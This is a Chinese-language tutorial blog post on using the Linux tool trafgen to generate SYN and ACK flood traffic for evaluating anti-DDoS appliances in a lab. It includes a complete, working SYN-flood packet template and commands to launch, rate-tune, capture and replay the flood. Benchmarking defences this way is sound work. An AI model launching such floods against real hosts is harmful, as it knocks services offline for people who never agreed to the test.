因项目需要,要对主流的几家抗DDoS设备做测评,当然了最专业的是使用Spirent TestCenter,但受限于其他因素,最终决定搭建一个软件环境来进行相关的DDoS测试。
本文主要讲解的是如何使用trafgen工具发起DDoS攻击(syn flood, ack flood等等)
synflood攻击、ackflood攻击、UDP fragment攻击的详细配置文件见 github ddos-dos-tools
trafgen属于netsniff-ng套件,是一款linux下的工具,安装很方便,通过系统的在线安装工具即可完成安装,如centos下 yum install netsniff-ng
即可
工具的比较简单,主要是配置文件的编写,假设已经写好了一个synflood配置文件
trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose
即可发起攻击 trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose --gap 1000
(以毫秒为单位)来调节速度 trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose --kernel-pull 20
(默认10us)来调节速度 man trafgen
配置文件解读(以synflood.trafgen文件为例)
synflood.trafgen 模版,trafgen就是通过该文件来生成特定的数据包的!看配置文件的注释基本能清除如何修改
/* TCP SYN attack ( 64byte ) * Command example: * trafgen --cpp --dev em2 --conf synflood.trafgen --verbose * Note: dynamic elements "drnd()" make trafgen slower */ #define ETH_P_IP 0x0800 #define SYN (1 << 1) #define ACK (1 << 4) #define ECN (1 << 6) { /* --- Ethernet Header --- */ /* NEED ADJUST */ // 0x00, 0x12, 0xc0, 0x02, 0xac, 0x56, # MAC Destination // 0x00, 0x12, 0xc0, drnd(3), # MAC Source 0xf4, 0xe9, 0xd4, 0x8d, 0x04, 0x82, # MAC Destination 0xf4, 0xe9, 0xd4, 0x8c, 0xe2, 0xa2, # MAC Source const16(ETH_P_IP), /* IPv4 Version, IHL, TOS */ 0b01000101, 0, /* IPv4 Total Len */ const16(46), /* IPv4 Ident */ drnd(2), //const16(2), /* IPv4 Flags, Frag Off */ 0b01000000, 0, /* IPv4 TTL */ 64, /* Proto TCP */ 0x06, /* IPv4 Checksum (IP header from, to) */ csumip(14, 33), /* NEED ADJUST */ // 10, 10, 88, drnd(1), # Source IP 10, 10, 88, 173, # Source IP 10, 10, 88, 172, # Dest IP /* TCP Source Port */ drnd(2), /* TCP Dest Port */ const16(80), /* TCP Sequence Number */ drnd(4), /* TCP Ackn. Number */ const32(0), /* NOTICE ACK==zero with SYN packets */ /* TCP Header length + Flags */ //const16((0x5 << 12) | SYN | ECN) /* TCP SYN+ECN Flag */ //const16((0x5 << 12) | SYN | ACK) /* TCP SYN+ACK Flag */ const16((0x5 << 12) | SYN) /* TCP SYN Flag */ //const16((0x5 << 12) | ACK) /* TCP ACK Flag */ /* Window Size */ const16(16), /* TCP Checksum (offset IP, offset TCP) */ csumtcp(14, 34), const16(0), /*PAD*/ /* Data */ "SYNswf" }
配置文件可通过 drnd()
函数来实现对应内容的动态生成,如IP、MAC地址等,但是会影响性能
const16()
将对应的十进制数转换成一个16位的二进制数
统一退出命令 pgrep trafgen | xargs kill -s 9
netsniff-ng --in ens33 --out synflood.pcap --silent --verbose --filter 'ether src 00:50:56:ab:a5:3f'
trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose
netsniff-ng --in synflood.pcap --out ens33 --silent --prio-high --verbose
tc
进行流量控制,具体请见"linux流量控制工具tc一文,简单举例如下